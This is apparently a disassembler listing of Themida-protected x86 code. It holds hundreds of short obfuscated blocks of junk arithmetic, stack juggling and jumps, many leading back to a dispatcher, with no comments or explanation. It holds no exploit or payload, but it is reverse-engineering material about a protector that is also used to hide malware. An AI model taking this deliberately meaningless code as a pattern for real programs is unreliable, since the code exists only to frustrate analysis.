		push	ecx
		push	58764920h
		pop	ecx
		push	edi
		mov	edi, 59087DE5h
		xor	ecx, edi
		jmp	loc_55330F
; ---------------------------------------------------------------------------


loc_5523DA:				; CODE XREF: Themida_:0055DA9Ej
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5523DF:				; CODE XREF: Themida_:00553209j
		mov	edi, 45D97748h
		xor	esi, edi
		pop	edi
		jmp	loc_559B4A
; ---------------------------------------------------------------------------


loc_5523EC:				; CODE XREF: Themida_:0055C71Fj
		not	eax
		push	esi
		mov	esi, 79E04375h
		sub	esi, 288616D1h
		jmp	loc_553086
; ---------------------------------------------------------------------------


loc_5523FF:				; CODE XREF: Themida_:00551FA5j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	1164h
		mov	[esp], ecx
		jmp	loc_5551DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55241A:				; CODE XREF: sub_55656B-3306j
		push	ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	ah, 2Dh
		push	ebx
		mov	bl, 8
		jmp	loc_555081
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55242B:				; CODE XREF: Themida_:0055D932j
		mov	edi, esp
		add	edi, 4
		jmp	loc_554555
; ---------------------------------------------------------------------------
		lodsd
		push	7276h
		mov	[esp], edx
		jmp	loc_557362
; ---------------------------------------------------------------------------


loc_552446:				; CODE XREF: Themida_:005573DEj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	5F3h
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		jmp	loc_5570A4
; ---------------------------------------------------------------------------


loc_55245F:				; CODE XREF: Themida_:0055406Fj
		push	3E16h
		jmp	loc_55D070
; ---------------------------------------------------------------------------


loc_552469:				; CODE XREF: Themida_:0055DDB6j
		and	eax, 20E412DFh
		sub	eax, 840253h
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_55D1A3
; ---------------------------------------------------------------------------


loc_55247D:				; CODE XREF: Themida_:00557588j
		or	ebx, 1E9B7DA4h
		push	edx
		jmp	loc_5572A5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5546A7
; ---------------------------------------------------------------------------


loc_552492:				; CODE XREF: Themida_:0055B6F2j
		push	edx
		mov	edx, 5A32489Ah
		push	esi
		mov	esi, 12D55CC8h
		jmp	loc_55ACCE
; ---------------------------------------------------------------------------


loc_5524A3:				; CODE XREF: Themida_:005552D8j
		inc	ax
		shl	ax, 4
		add	ax, 0FAF5h
		add	bx, ax
		pop	eax
		jmp	loc_558C5C
; ---------------------------------------------------------------------------


loc_5524B6:				; CODE XREF: Themida_:0055B012j
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_555279
; ---------------------------------------------------------------------------


loc_5524C2:				; CODE XREF: Themida_:0055D0A6j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55CA0D
; ---------------------------------------------------------------------------


loc_5524CB:				; CODE XREF: Themida_:005534B2j
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5555B8
; ---------------------------------------------------------------------------


loc_5524E7:				; CODE XREF: Themida_:0055A157j
		pop	ecx
		add	ecx, 4
		push	6A6Dh
		mov	[esp], ebx
		mov	ebx, 2
		push	5DC5h
		mov	[esp], eax
		mov	eax, 2D9B3646h
		inc	eax
		inc	eax
		and	eax, 5F704DACh
		xor	eax, 27851B25h
		dec	eax
		sub	eax, 0BB03DCB0h
		sub	ecx, eax
		pop	eax
		add	ecx, 2BEF05BDh
		add	ecx, ebx
		jmp	loc_55A1EB
; ---------------------------------------------------------------------------


loc_55252A:				; CODE XREF: Themida_:005549C7j
		xor	ebp, 0C9B0BDAh
		or	ebp, 6F1955CEh
		sub	ebp, 521F470Dh
		sub	ebp, 0AD1CB6CDh
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_552550:				; CODE XREF: Themida_:005545EFj
		dec	esi
		jmp	loc_55D674
; ---------------------------------------------------------------------------


loc_552556:				; CODE XREF: Themida_:00557D9Cj
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_55D4CA
; ---------------------------------------------------------------------------


loc_552563:				; CODE XREF: Themida_:005590EAj
		push	6B5D0149h
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55D81F
; ---------------------------------------------------------------------------


loc_552580:				; CODE XREF: Themida_:0055C6C8j
		sub	ebp, 9D05497h
		sub	edi, ebp
		pop	ebp
		sub	edi, 0F954D02Bh
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_55B462
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 6D657FA1h
		add	ebx, 3353485Fh
		add	ebx, 9A33AABh
		push	ecx
		jmp	loc_552E78
; ---------------------------------------------------------------------------


loc_5525BA:				; CODE XREF: Themida_:00555949j
		pop	eax
		push	esi
		push	esp
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_5598C9
; ---------------------------------------------------------------------------


loc_5525EB:				; CODE XREF: Themida_:00559FA0j
		idiv	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_5558B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_5525F5:				; CODE XREF: sub_55656B+Fj
		mov	edi, 2C946AF0h
		inc	edi
		jmp	loc_55949E
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_552600:				; CODE XREF: Themida_:00555264j
		xor	al, bl
		push	3860h
		mov	[esp], edx
		mov	dh, 29h
		shl	dh, 7
		push	3998h
		mov	[esp], eax
		push	ecx
		mov	ch, 0C7h
		mov	ah, 90h
		xor	ah, ch
		mov	ecx, [esp]
		add	esp, 4
		add	dh, 92h
		jmp	loc_55639A
; ---------------------------------------------------------------------------


loc_55262F:				; CODE XREF: Themida_:00559767j
		mov	ebp, edx
		pop	edx
		xor	ebp, 3BBB218Fh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 30h
		add	eax, edx
		push	ebp
		jmp	loc_55CA23
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55D41B
; ---------------------------------------------------------------------------


loc_552654:				; CODE XREF: Themida_:0055DD69j
		push	eax
		mov	ah, 0FCh
		mov	bh, 96h
		sub	bh, ah
		pop	eax
		add	ch, bh
		mov	bx, [esp]
		add	esp, 2
		sub	al, ch
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_556EA5
; ---------------------------------------------------------------------------


loc_552673:				; CODE XREF: Themida_:0055AE45j
		pop	ebx
		add	esi, eax
		push	ecx
		push	ebp
		mov	ebp, 74050DF0h
		or	ebp, 2A5099Ch
		dec	ebp
		jmp	loc_5540BF
; ---------------------------------------------------------------------------


loc_552689:				; CODE XREF: Themida_:005550F8j
		push	ecx
		mov	ecx, 77858DAFh
		xor	ebx, ecx
		pop	ecx
		sub	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_55A503
; ---------------------------------------------------------------------------


loc_5526AC:				; CODE XREF: Themida_:0055D7C6j
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55C1E0
; ---------------------------------------------------------------------------


loc_5526BF:				; CODE XREF: Themida_:00557CAAj
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		shl	esi, 5
		jmp	loc_553402
; ---------------------------------------------------------------------------


loc_5526CF:				; CODE XREF: Themida_:0055DD8Dj
		push	edi
		mov	edi, 69273914h
		jmp	loc_558610
; ---------------------------------------------------------------------------


loc_5526DA:				; CODE XREF: Themida_:0055510Fj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	235Fh
		mov	[esp], eax
		push	23C8224Eh
		jmp	loc_55B7BE
; ---------------------------------------------------------------------------


loc_5526FC:				; CODE XREF: Themida_:0055B544j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_552F0F
; ---------------------------------------------------------------------------


loc_55270A:				; CODE XREF: Themida_:00557C8Ej
		push	4DD4h
		mov	[esp], esi
		mov	esi, 22F51B75h
		jmp	loc_55B6E7
; ---------------------------------------------------------------------------


loc_55271C:				; CODE XREF: Themida_:005591C0j
		mov	esp, [esp]
		jmp	loc_555704
; ---------------------------------------------------------------------------


loc_552724:				; CODE XREF: Themida_:0055C978j
		mov	edi, 2
		add	esi, edi
		pop	edi
		push	edi
		jmp	loc_55DB1F
; ---------------------------------------------------------------------------


loc_552732:				; CODE XREF: Themida_:00555479j
		sub	edx, eax
		sub	edx, 7BDE5405h
		add	edx, 6EBB53A9h
		add	edx, 18C83F53h
		pop	eax
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_552750:				; CODE XREF: Themida_:005534D0j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55984B
; ---------------------------------------------------------------------------


loc_552765:				; CODE XREF: Themida_:00552226j
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_559658
; ---------------------------------------------------------------------------


loc_552774:				; CODE XREF: Themida_:0055A6D0j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_552785:				; CODE XREF: Themida_:00551A30j
		mov	[esp], edi
		mov	edi, 96D12EBh
		xor	ebp, edi
		jmp	loc_55655F
; ---------------------------------------------------------------------------


loc_552794:				; CODE XREF: Themida_:00559AD9j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	1312h
		mov	[esp], edi
		mov	edi, esp
		push	edx
		jmp	loc_559162
; ---------------------------------------------------------------------------


loc_5527B3:				; CODE XREF: Themida_:00551D0Fj
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_55DE10
; ---------------------------------------------------------------------------


loc_5527C0:				; CODE XREF: Themida_:0055D09Bj
		add	eax, 4
		jmp	loc_55A630
; ---------------------------------------------------------------------------


loc_5527CA:				; CODE XREF: Themida_:00553B7Aj
		shl	edi, 1
		add	edi, 1
		push	esi
		mov	esi, 478D1C5Fh
		jmp	loc_553E0A
; ---------------------------------------------------------------------------


loc_5527DA:				; CODE XREF: Themida_:005543F5j
		pop	edi
		add	ebx, edi
		jmp	loc_55C21C
; ---------------------------------------------------------------------------


loc_5527E2:				; CODE XREF: Themida_:00558FC4j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5527F1:				; CODE XREF: Themida_:00559513j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0BDh
		add	al, bl
		push	ebx
		push	55Eh
		jmp	loc_55322C
; ---------------------------------------------------------------------------


loc_552806:				; CODE XREF: Themida_:00552FD8j
		push	dword ptr [esp]
		jmp	loc_55C161
; ---------------------------------------------------------------------------


loc_55280E:				; CODE XREF: Themida_:00555F10j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55A969
; ---------------------------------------------------------------------------


loc_552820:				; CODE XREF: Themida_:0055757Bj
		pop	esp
		mov	[esp], edi
		push	4
		jmp	loc_55A01A
; ---------------------------------------------------------------------------


loc_55282E:				; CODE XREF: Themida_:0055AD8Fj
		xor	eax, 0E6B13897h
		sub	edx, eax
		pop	eax
		xor	ebp, edx
		pop	edx
		jmp	loc_551A35
; ---------------------------------------------------------------------------


loc_55283E:				; CODE XREF: Themida_:0055CB05j
		add	edi, 4
		jmp	loc_55BA22
; ---------------------------------------------------------------------------


loc_552849:				; CODE XREF: Themida_:0055BCACj
		mov	edi, 42691449h
		or	ebx, edi
		pop	edi
		add	ebx, 118229A7h
		add	ebx, edx
		jmp	loc_556374
; ---------------------------------------------------------------------------


loc_55285E:				; CODE XREF: Themida_:0055AA83j
		pop	ebp
		sub	edi, 3DAAD4h
		sub	esi, edi
		pop	edi
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55287A:				; CODE XREF: Themida_:0055B293j
		xor	ecx, edx
		pop	edx
		sub	eax, 54E664DFh
		sub	eax, ecx
		push	edx
		mov	edx, 54E664DFh
		add	eax, 3E405891h
		add	eax, edx
		jmp	loc_555D17
; ---------------------------------------------------------------------------


loc_552896:				; CODE XREF: Themida_:00556D8Cj
		pop	esp
		jmp	loc_551E3E
; ---------------------------------------------------------------------------


loc_55289C:				; CODE XREF: Themida_:005596B6j
		mov	[esp], ebx
		mov	ebx, 426B6153h
		or	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, 2A417F21h
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_557635
; ---------------------------------------------------------------------------


loc_5528BF:				; CODE XREF: Themida_:005593CFj
		pop	esp
		neg	dl
		push	ebx
		mov	bh, 7Ch
		add	dl, bh
		pop	ebx
		xor	dl, 3Fh
		sub	dl, 0FCh
		shl	dl, 8
		and	dl, 0DCh
		sub	esp, 4
		jmp	loc_55DA13
; ---------------------------------------------------------------------------


loc_5528DF:				; CODE XREF: Themida_:00559361j
		mov	esi, 4
		mov	eax, esi
		pop	esi
		sub	ebx, 7B910DE1h
		add	ebx, eax
		add	ebx, 7B910DE1h
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	ebx, [esp]
		pop	esp
		inc	dword ptr [esp]
		pushf
		jmp	loc_557F28
; ---------------------------------------------------------------------------


loc_552915:				; CODE XREF: Themida_:00555DC4j
		push	6CC1h
		jmp	loc_55A484
; ---------------------------------------------------------------------------


loc_55291F:				; CODE XREF: Themida_:0055D5E1j
		pop	esi
		xchg	eax, [esp]
		pop	esp
		mov	ax, [esp]
		push	35D0h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55A78C
; ---------------------------------------------------------------------------


loc_55293D:				; CODE XREF: Themida_:0055DFDDj
		sub	ebp, 7EE10686h
		mov	edi, [esp]
		add	esp, 4
		pop	esi
		sub	dword ptr [esp+4], 213E0BBBh
		sub	dword ptr [esp+4], 1FA3117Bh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 1FA3117Bh
		push	ecx
		jmp	loc_55C897
; ---------------------------------------------------------------------------


loc_55296F:				; CODE XREF: Themida_:00553953j
		push	ecx
		sub	dword ptr [esp], 528A5345h
		pop	eax
		jmp	loc_558DE7
; ---------------------------------------------------------------------------


loc_55297D:				; CODE XREF: Themida_:00557BFCj
		mov	eax, esi
		pop	esi
		add	eax, 0B8863E8h
		jmp	loc_553B17
; ---------------------------------------------------------------------------


loc_55298A:				; CODE XREF: Themida_:0055472Dj
		add	bh, 9Bh
		pop	eax
		push	eax
		mov	al, 57h
		dec	al
		dec	al
		jmp	loc_554DE2
; ---------------------------------------------------------------------------


loc_55299A:				; CODE XREF: Themida_:0055D1AAj
		mov	eax, 62DA2EC8h
		or	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_557F63
; ---------------------------------------------------------------------------


loc_5529B0:				; CODE XREF: Themida_:00557D52j
		mov	cl, 15h
		push	ebx
		mov	bl, cl
		mov	dl, bl
		jmp	loc_559992
; ---------------------------------------------------------------------------


loc_5529BC:				; CODE XREF: Themida_:0055818Aj
		mov	eax, 6F315622h
		sub	eax, 0A650EB1h
		jmp	loc_55B854
; ---------------------------------------------------------------------------


loc_5529CB:				; CODE XREF: Themida_:0055B99Cj
		mov	[esp], bx
		mov	bh, 6Fh
		sub	ch, bh
		mov	bx, [esp]
		add	esp, 2
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 7Eh
		shr	dl, 6
		xor	dl, 51h
		jmp	loc_5578A9
; ---------------------------------------------------------------------------


loc_5529F3:				; CODE XREF: Themida_:0055531Cj
		sub	edx, 4
		jmp	loc_554068
; ---------------------------------------------------------------------------


loc_5529FB:				; CODE XREF: Themida_:0055A415j
		mov	si, [esp]
		add	esp, 2
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_552A0A:				; CODE XREF: Themida_:0055B254j
		neg	edi
		add	edi, 80A4A3Fh
		jmp	loc_5521F4
; ---------------------------------------------------------------------------


loc_552A17:				; CODE XREF: Themida_:0055D3CDj
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555334
; ---------------------------------------------------------------------------


loc_552A26:				; CODE XREF: Themida_:00559AE0j
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		add	bx, 0C38h
		jmp	loc_551AE6
; ---------------------------------------------------------------------------


loc_552A3D:				; CODE XREF: Themida_:0055B5D8j
		push	edi
		jmp	loc_553AA7
; ---------------------------------------------------------------------------


loc_552A43:				; CODE XREF: Themida_:0055A235j
		pop	esp
		jmp	loc_551A0A
; ---------------------------------------------------------------------------
		push	4853h
		push	esp
		pop	dword ptr [esp]
		push	57DDh
		mov	[esp], esi
		jmp	loc_55C071
; ---------------------------------------------------------------------------


loc_552A5F:				; CODE XREF: Themida_:0055C38Fj
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	sub_55656B
; ---------------------------------------------------------------------------


loc_552A7C:				; CODE XREF: Themida_:00558267j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	eax, 9965BF5h
		sub	esp, 4
		mov	[esp], ebx
		push	800h
		pop	ebx
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		push	ebp
		jmp	loc_55D90C
; ---------------------------------------------------------------------------


loc_552AB4:				; CODE XREF: Themida_:0055D7BAj
		pop	esi
		sub	ebx, 6D8A5B20h
		jmp	loc_55AEC9
; ---------------------------------------------------------------------------


loc_552AC0:				; CODE XREF: Themida_:0055A951j
		shl	ah, 6
		add	ah, 7Eh
		push	cx
		jmp	loc_55B0CC
; ---------------------------------------------------------------------------


loc_552ACD:				; CODE XREF: Themida_:00556BD1j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	ecx, 4
		jmp	loc_55A4DF
; ---------------------------------------------------------------------------


loc_552AE5:				; CODE XREF: Themida_:0055BD23j
		mov	edx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 7286231Fh
		jmp	loc_55D5E6
; ---------------------------------------------------------------------------
		push	1605h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	7424h
		mov	[esp], ebx
		jmp	loc_55D883
; ---------------------------------------------------------------------------


loc_552B18:				; CODE XREF: Themida_:0055A983j
		mov	ecx, 4625B34h
		not	ecx
		inc	ecx
		push	eax
		mov	eax, 4625B38h
		add	ecx, eax
		pop	eax
		add	edi, ecx
		jmp	loc_55D161
; ---------------------------------------------------------------------------


loc_552B30:				; CODE XREF: Themida_:0055CD59j
		pop	edx
		push	0F76h
		mov	[esp], edi
		jmp	loc_556903
; ---------------------------------------------------------------------------


loc_552B3E:				; CODE XREF: Themida_:00559D3Dj
		pop	eax
		add	esp, 4
		xor	al, dl
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	small 5C95h
		jmp	loc_55A12E
; ---------------------------------------------------------------------------


loc_552B60:				; CODE XREF: Themida_:00558CD6j
		mov	[esp], esi
		jmp	loc_552126
; ---------------------------------------------------------------------------


loc_552B68:				; CODE XREF: Themida_:0055D088j
		and	ebx, edx
		jmp	loc_557ECF
; ---------------------------------------------------------------------------


loc_552B6F:				; CODE XREF: Themida_:00551D86j
		sub	edx, 0EF912465h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55933B
; ---------------------------------------------------------------------------


loc_552B83:				; CODE XREF: Themida_:0055558Fj
		push	eax
		push	2894h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_552DA7
; ---------------------------------------------------------------------------


loc_552B99:				; CODE XREF: Themida_:00557FC2j
		mov	esi, 3ACC4E1Ah
		xor	esi, 2CE97A01h
		jmp	loc_55A899
; ---------------------------------------------------------------------------


loc_552BA9:				; CODE XREF: Themida_:005563FDj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_558C30
; ---------------------------------------------------------------------------


loc_552BB4:				; CODE XREF: Themida_:005588C8j
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_555AC9
; ---------------------------------------------------------------------------


loc_552BC8:				; CODE XREF: Themida_:00555C4Aj
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		and	ebp, 53A25C21h
		add	ebp, 0FC5DFFE3h
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_55A1E5
; ---------------------------------------------------------------------------


loc_552BF1:				; CODE XREF: Themida_:00555FEFj
		mov	ebx, edx
		pop	edx
		jmp	loc_55B7E7
; ---------------------------------------------------------------------------


loc_552BF9:				; CODE XREF: Themida_:0055B71Bj
		neg	edx
		push	eax
		mov	eax, 27573460h
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_55AD87
; ---------------------------------------------------------------------------


loc_552C0B:				; CODE XREF: Themida_:0055C40Bj
		xchg	edx, ebp
		shl	ebp, 6
		push	ebx
		jmp	loc_554478
; ---------------------------------------------------------------------------


loc_552C16:				; CODE XREF: Themida_:00557A99j
		pop	edx
		jmp	loc_558595
; ---------------------------------------------------------------------------


loc_552C1C:				; CODE XREF: Themida_:005531AFj
		add	esi, 67170273h
		add	esi, ecx
		sub	esi, 67170273h
		pop	ecx
		jmp	loc_5566F6
; ---------------------------------------------------------------------------


loc_552C30:				; CODE XREF: Themida_:0055B666j
		add	edx, 4
		add	edx, 4
		jmp	loc_553D2E
; ---------------------------------------------------------------------------


loc_552C3E:				; CODE XREF: Themida_:0055ADF5j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_554A2A
; ---------------------------------------------------------------------------


loc_552C49:				; CODE XREF: Themida_:0055D46Aj
		add	edi, ecx
		pop	ecx
		jmp	loc_556EE5
; ---------------------------------------------------------------------------


loc_552C51:				; CODE XREF: Themida_:0055D5BAj
		push	eax
		jmp	loc_55305B
; ---------------------------------------------------------------------------


loc_552C57:				; CODE XREF: Themida_:0055D1FDj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5593C9
; ---------------------------------------------------------------------------


loc_552C64:				; CODE XREF: Themida_:0055DB2Dj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_557E47
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_556661
; ---------------------------------------------------------------------------


loc_552C78:				; CODE XREF: Themida_:0055A2C7j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5594C0
; ---------------------------------------------------------------------------


loc_552C8C:				; CODE XREF: Themida_:0055D107j
		add	ebx, eax
		sub	ebx, 4A0F45A7h
		sub	esp, 4
		mov	[esp], edi
		push	20AC70F8h
		pop	edi
		jmp	loc_55D925
; ---------------------------------------------------------------------------


loc_552CA8:				; CODE XREF: Themida_:0055C3F7j
		push	esi
		mov	esi, 66DD0365h
		xor	esi, 15D80412h
		and	esi, 20602901h
		or	esi, 17A549FFh
		neg	esi
		or	esi, 4F41623Dh
		push	ebp
		mov	ebp, 66C8143Fh
		sub	ebp, 6323EA5Ah
		or	esi, ebp
		pop	ebp
		jmp	loc_55B37A
; ---------------------------------------------------------------------------


loc_552CDC:				; CODE XREF: Themida_:005538E9j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55D98C
; ---------------------------------------------------------------------------


loc_552CE7:				; CODE XREF: Themida_:0055BA9Dj
		not	ebx
		jmp	loc_55BCAB
; ---------------------------------------------------------------------------


loc_552CEE:				; CODE XREF: Themida_:0055554Aj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_552D09:				; CODE XREF: Themida_:005558ADj
		add	esi, 4
		jmp	loc_552DC9
; ---------------------------------------------------------------------------


loc_552D14:				; CODE XREF: Themida_:00559E20j
		mov	al, 15h
		push	edx
		jmp	loc_55A71D
; ---------------------------------------------------------------------------


loc_552D1C:				; CODE XREF: Themida_:00551D06j
		mov	ecx, esp
		jmp	loc_5591F5
; ---------------------------------------------------------------------------


loc_552D23:				; CODE XREF: Themida_:0055A77Aj
		push	small 6C09h
		mov	[esp], dx
		mov	dl, 1Ch
		jmp	loc_55D1E8
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_552D3C:				; CODE XREF: Themida_:00559A3Cj
		add	ebp, 290D7923h
		jmp	loc_553A3A
; ---------------------------------------------------------------------------


loc_552D47:				; CODE XREF: Themida_:00551CCDj
		or	edi, ebp
		pop	ebp
		shr	edi, 7
		add	edi, 449A8586h
		jmp	loc_555EE9
; ---------------------------------------------------------------------------


loc_552D58:				; CODE XREF: Themida_:00554C61j
		add	esp, 4
		jmp	loc_55B93D
; ---------------------------------------------------------------------------


loc_552D63:				; CODE XREF: Themida_:00553C5Dj
		push	edx
		mov	edx, 6CA31A86h
		or	edx, 75802A55h
		inc	edx
		add	edx, 825CC52Ch
		push	63E8h
		jmp	loc_5547E8
; ---------------------------------------------------------------------------


loc_552D80:				; CODE XREF: Themida_:00552DF2j
		or	ebp, 456C4A83h
		xor	ebp, 0CD53EA1Fh
		sub	edx, ebp
		pop	ebp
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, ebp
		jmp	loc_55D364
; ---------------------------------------------------------------------------


loc_552DA1:				; CODE XREF: Themida_:00559C98j
		pop	esp
		jmp	loc_556673
; ---------------------------------------------------------------------------


loc_552DA7:				; CODE XREF: Themida_:00552B94j
		mov	eax, [esp]
		jmp	loc_55671A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		push	edx
		jmp	loc_5534F1
; ---------------------------------------------------------------------------


loc_552DC3:				; CODE XREF: Themida_:005578A4j
		push	edi
		jmp	loc_552E00
; ---------------------------------------------------------------------------


loc_552DC9:				; CODE XREF: Themida_:00552D0Fj
		xchg	esi, [esp]
		pop	esp
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55D0FC
; ---------------------------------------------------------------------------


loc_552DDB:				; CODE XREF: Themida_:00552E3Cj
		add	edx, 31A537BDh
		push	ebp
		mov	ebp, 54D0666Ch
		neg	ebp
		neg	ebp
		and	ebp, 9EB0288h
		dec	ebp
		jmp	loc_552D80
; ---------------------------------------------------------------------------


loc_552DF7:				; CODE XREF: Themida_:0055742Cj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_553958
; ---------------------------------------------------------------------------


loc_552E00:				; CODE XREF: Themida_:00552DC4j
		mov	edi, 61C0E0B8h
		add	eax, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55C7D8
; ---------------------------------------------------------------------------


loc_552E18:				; CODE XREF: Themida_:00557D27j
		mov	edi, 943ECB9Ah
		sub	edi, esi
		jmp	loc_5542A4
; ---------------------------------------------------------------------------


loc_552E24:				; CODE XREF: Themida_:00554F1Bj
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 758B14AEh
		add	edx, 2DDA6DE0h
		dec	edx
		neg	edx
		jmp	loc_552DDB
; ---------------------------------------------------------------------------


loc_552E41:				; CODE XREF: Themida_:00553E1Aj
		push	436Eh
		mov	[esp], edx
		push	ebp
		push	7EDCh
		jmp	loc_557580
; ---------------------------------------------------------------------------


loc_552E54:				; CODE XREF: Themida_:005548F7j
		add	ebp, ebx
		jmp	loc_5558DC
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		push	1326h
		mov	[esp], eax
		jmp	loc_553379
; ---------------------------------------------------------------------------


loc_552E78:				; CODE XREF: Themida_:005525B5j
		mov	ecx, 0AA5C02A7h
		sub	ebx, 4013397Dh
		sub	ebx, ecx
		jmp	loc_55A608
; ---------------------------------------------------------------------------


loc_552E8A:				; CODE XREF: Themida_:005549B4j
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 278610CFh
		sub	ebp, 41F374A4h
		shr	ebp, 8
		jmp	loc_556C9B
; ---------------------------------------------------------------------------


loc_552EA7:				; CODE XREF: Themida_:0055C89Cj
		add	[esp+8], ecx
		pop	ecx
		jmp	loc_55A9F4
; ---------------------------------------------------------------------------


